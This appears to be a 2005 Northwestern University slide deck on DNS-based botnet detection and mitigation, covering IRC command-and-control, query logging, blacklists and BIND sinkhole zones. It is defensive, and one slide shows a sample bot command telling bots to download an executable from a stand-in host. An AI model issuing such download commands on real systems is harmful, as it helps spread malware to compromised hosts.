nu security day 2005 john kristoff - northwestern university 1 botnets, detection and mitigation:...

NU Security Day 2005 John Kristoff - Northwestern University 1

Botnets, detection and

mitigation:

DNS-based techniquesJohn Kristoff

[email protected]

http://aharp.ittns.northwestern.edu

+1 847 467-5878

Northwestern University

Evanston, IL 60208


What is a botnet?

• An army of compromised hosts (bots)

• Under a common command and control (c&c):

• commonly IRC-based

• The purpose:

• DoS, id theft, spam

• for fun and profit


Typical command and control

• c&c functions mostly centralized

• one or more IRC servers

• DNS name(s) used for rendezvous

• vanity web pages for malware updates

• Nothing really new

• CERT's October 2001 Trends in DoS paper


What's wrong with this picture?

Welcome to irc.whitehouse.govYour host is h4x0r.0wnz.j00There are 9556 users and 9542 invisible on 1 server

5 :channels formed1 :operators onlineChannel Users Topic#help 1#oldb0ts 5 .download http://w4r3z.example.org/r00t.exe

End of /LIST


Botnet info is everywhere

• http://www.honeynet.org/papers/bots/

• http://cert.uni-stuttgart.de/files/tf/botnets.pdf

• http://www.educause.edu/ir/library/pdf/SPC0568.pdf

• http://www.internet2.edu/presentations/jtsaltlake/

20050214-Botnets-Moody.pdf

• http://www.nanog.org/mtg-0410/kristoff.html


Some typical detection strategies

• Up-to-date anti-virus software

• IDS signatures for IRC/botnet traffic

• Traffic flow monitoring (for known C&Cs?)

• email alerts

• To: [email protected]

• Subject: Bot detected on your network


Some typical mitigation strategies

• TCP port 6667 filtering

• C&C IP address (&& port?) filtering

• Intrusion prevention systems (IDS++)

• Secure systems and applications

• Careful and smart users


What about DNS traffic?

• Repetitive A queries may indicate bot/controller

• MX queries may indicate spam bot

• in-addr.arpa queries may indicate a server

• Usually 3 level hostname.subdomain.TLD

• [^(www|mx\d+|ns\d+)]\w+\.\w+\.\w+

• Names and subdomains that just look rogue

• Something .edu's can't be blamed for! :-)


Note: synchronization problem

• If name doesn't resolve, but controller is up

• connected bots instructed to update DNS

• If controller(s) is(are) gone, but name resolves

• DNS changed to point to new controller(s)

• Synchronizing the closure of both is difficult


Name-based sink holes with BIND

zone "rogue.example.net" { type master; file "/etc/db.badname";};-----------------------------------$TTL 30D@ IN SOA ns1.example.net. root ( 2004101700 3H 15M 1W 1D ) IN NS ns1.example.net. IN A 192.0.2.1


Finding DNS

• Someone you trust tells you

• Packet capture during C&C connection

• Bot malware analysis

• DNS RR and C&C address correlation

• Algorithmic techniques


NU DNS bot detection overview

• Maintain blacklist of botnet c&c host names

• Watch DNS query logs in real-time

• Use sampling function to reduce false positives

• Note: will miss stable, active botnets

• Import suspect querier into NUSA


Enabling DNS query logs

• BIND: logging { category queries { logfile; }; };

• Space and privacy considerations

• We log about ~10-20 million queries/day

• ~1-2 GB uncompressed/day

• Could setup logfile as a FIFO named pipe


querywatch

• Get a list of known bad names

• no decent public list available that I know of

• normalize name list for querywatch config

• tail -f DNS log files and pipe to querywatch

• pipe querywatch output to an action script

• http://aharp.ittns.northwestern.edu/software/


simplified process view

tail -f $LOG|qw -c $DNSRRs| query2db

# qw = querywatch

init_list(); # read in DNS RRs

while (defined (my $line = <>))

next if ($loop++ % sample);

# get lc(RR) and assign to $query

print $line if ($list{$query});

}


query2db design considerations

• Use logfile timestamp and a DB insert_time

• Create whitelist (e.g. DNS/NetPass servers)

• If log=Dec && systime=Jan, rollback year

• sanity check everything

• make every regex very explicit (e.g. avoid .*)

• note: this script is not publicly available


NU DNS bot detection in review

• I'm not aware of any false positives to date

• Dozens of NUSA entries at any one time

• many duplicates due to transient addresses

• Mostly neutered bots, not imminent an threat

• Can we not sample and avoid false positives?


DNS-based detection thoughts

• What names are used for rendezvous?

• How do bots query for the DNS RR?

• Is a local recursive/caching server used?

• What happens if the query/connection fails?

• When do they query for the DNS RR?

• Do all the bots query at once?

• What does the authoritative server see?


DNS thoughts... [continued]

• What does the query answer look like?

• What is the TTL?

• If an A RR, what address(es) is given?

• How has this answer changed over time?

• Related... what about whois information?

• Is it valid, does it change?

• What other RRs does the contact have?


Current DNS-related tools/research

• Kristoff's anomalous name watcher

• correlate with known baddies, put into NUSA

• Moody's anomalous name watcher

• correlate with known baddies, put into DB

• Musashia's mass mailing worm detection

• find unusual MX/PTR query spikes


DNS tools/research [cont.]

• Whyte's DNS-based detection of worms/scans

• correlate DNS query and traffic flows

• Dagon's authoritative anomaly algorithms

• capture c&c by redirecting anomalous DNS

• RUS-CERT's passive DNS replication

• Keep database of all DNS responses


DNS-related references

• DNS syslog studies

• http://www.cc.kumamoto-u.ac.jp/~musashi/

• DNS-OARC (operations, analysis, research)

• http://oarc.isc.org

• Measurement Factory, tools and papers

• http://dns.measurement-factory.com/


The end

Why are you still here?

nu security day 2005 john kristoff - northwestern university 1 botnets, detection and mitigation:...

Documents